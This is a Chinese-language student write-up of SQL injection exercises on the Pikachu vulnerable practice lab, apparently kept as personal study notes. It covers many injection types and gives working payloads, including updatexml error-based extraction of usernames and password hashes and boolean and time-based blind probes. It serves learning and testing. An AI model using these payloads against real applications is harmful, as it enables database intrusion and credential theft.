pikachu之sql注入

1原理

**
SQL注入漏洞主要形成的原因是在数据交互中，前端的数据传入到后台处理时，没有做严格的判断，导致其传入的“数据”拼接到SQL语句中后，被当作SQL语句的一部分执行。从而导致数据库受损（被脱裤、被删除、甚至整个服务器权限沦陷）。

2数字型注入

让id=true,从而使sql语句在查询时，id可以查询所有值

3字符型注入

3.1原理：首先用 ’ 判断是否存在字符型注入的漏洞。因为在sql语句中多个’会造成sql语句错误（结合sql语句），若加单引号后显示sql运行错误，则存在此漏洞。

（截图来自他人csdn,方便记录学习，所以截图过来记录）
3.2
实质上根据上面的查询字符，最后sql查询时，关键字=‘void’ or 1=1 ,#将此后的内容全部注释掉了。

4搜索型注入

4.1原理：同3.1，用 ’ 判断是否存在字符型注入的漏洞。
4.2

5xx型注入

5.1
输入1') or 1=1#
(此处相比字符型注入多一个右括号)
结果：

6insert/update注入

6.1insert
进入注册界面后，同样加单引号，看是否存在此漏洞。
原理：
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数：XML_document是String格式，为XML文档对象的名称，文中为Doc
第二个参数：XPath_string (Xpath格式的字符串) ，如果不了解Xpath语法，可以在网上查找教程。
第三个参数：new_value，String格式，替换查找到的符合条件的数据
updatexml函数具有查询功能 并且会再xpath处查询 你将语法构造错误 然后它就会将它查询的结果以报错的形式显示出来步骤：6.1.1.  代码        1'or updatexml(1,concat(0x7e,database()),0) or'此步查询数据库名称结果：数据库额为'~pikachu'6.1.2.  代码        1'or updatexml(1,concat(0x7e,version()),0) or'此步查询数据库版本号结果：版本号为’~5.7.12-log‘6.1.3此步获取当前WEB网站所连接的数据库pikachu中全部的表名信息1'or updatexml(1,concat(0x7e,（SELECT table_name FROM information_schema.tables  WHERE table_schema='pikachu'）),0) or'

6.1.4查询表中的username

'or updatexml(1,concat(0x7e,(select group_concat(username)  from pikachu.users limit 0,1)),1) or'

结果：XPATH syntax error: '~admin,pikachu,test'

6.1.5查询表中的用户名和密码

'or updatexml(1,concat(0x7e,(select group_concat(username,password) from pikachu.users limit 0,1)),1) or'

结果：XPATH syntax error: '~admine10adc3949ba59abbe56e057f2'

6.1.6查询数据库对应表中指定用户的密码

'or updatexml(1,concat(0x7e,(select group_concat(password) from pikachu.users where username='admin' limit 0,1)),1) or'

结果：XPATH syntax error: '~e10adc3949ba59abbe56e057f20f883'

insert/update注入部分存在问题，主要是sql查询语句替换后，会出错，但是能查数据库名称和版本

7delete注入

7.1删除后拦截包，发现包中有id,猜测是注入点，用单引号测试后发现可注入。
7.2
代码：67+or+updatexml(1,concat(0x7e,database()),1)
位置：

结果：返回数据库名称
注意点：该次注入平常的空格键用+代替，原因是现在几乎所有的网站都对url中的汉字和特殊的字符，进行了urlencode操作空格。为了防止引起歧义，需要被转化为“+”
存在问题：无法用select语句查询数据库内部信息，一直显示因为错误的语法导致服务器无法理解请求信息，猜测delete注入是否无法在开头查看数据库信息，为什么同样的sql查询语句，到了这里就一直查看不了。

8http header注入

8.1点击退出，并拦截包。猜测其中agent可能存在注入点，所以用单引号测试，出现sql错误，发展存在此漏洞。
8.2
代码 1'or updatexml(1,concat(0x7e,database()),0) or'
位置：

结果：返回数据库名称

9盲注（base on boolian）

9.1原理：返回结果只能是真或否，所以我们需要用猜测的方式，知道它的信息，如数据库名称长度及其名称
9.2判断是否可以盲注：
输入lucy，发现可查询到信息
输入lucy’ 发现不能查询到信息
输入lucy’# 发现能查询到信息
因此，此位置可盲注
9.3数据库名称长度判断
输入代码lucy'andlength(database())>=7 #
可查询到信息；
而输入代码lucy'andlength(database())>=8#
不能查询到信息，可判断数据库名称长度为7

9.4数据库名称逐个字母判断
9.4.1
输入kobe' and ascii(substr(database(),1,1))>=97#
可判断一个位置字母大小写情况
9.4.2
最后确定每个位置的ascii码，拼接出数据库名称
输入kobe' and ascii(substr(database(),2,1))=105#
结果：
可知数据库名称第二个字母的ascii码为105，即为字母i

10盲注（base on time）

10.1
输入kobe' and sleep(5)#
结果：

休眠5s后返回结果，说明存在基于时间的盲注
10.2
输入 kobe' and if (substr(database(),1,1)='a',sleep(5),null)#
若直接返回结果，说明第一个字母不为a

输入kobe' and if ((substr(database(),1,1))='p',sleep(5),null)#
发现5s后才返回结果，说明首字母为p

11宽字节注入

11.1原理：通过前面的SQL注入实验可以发现，字符型的注入点我们都是用单引号来判断的，但是当遇到addslashes()时，单引号会被转义成 ’ ，导致我们用来判断注入点的单引号失效。所以我们的目的就是使转义符 \ 失效、使单引号逃逸。我们的payload的是【%df '】，其原理是当MySQL在使用GBK编码的时候，会认为两个字符是一个繁体汉字，然后让我们的单引号%27成功逃逸
11.2步骤
代码：1%df' or 1=1#

结果：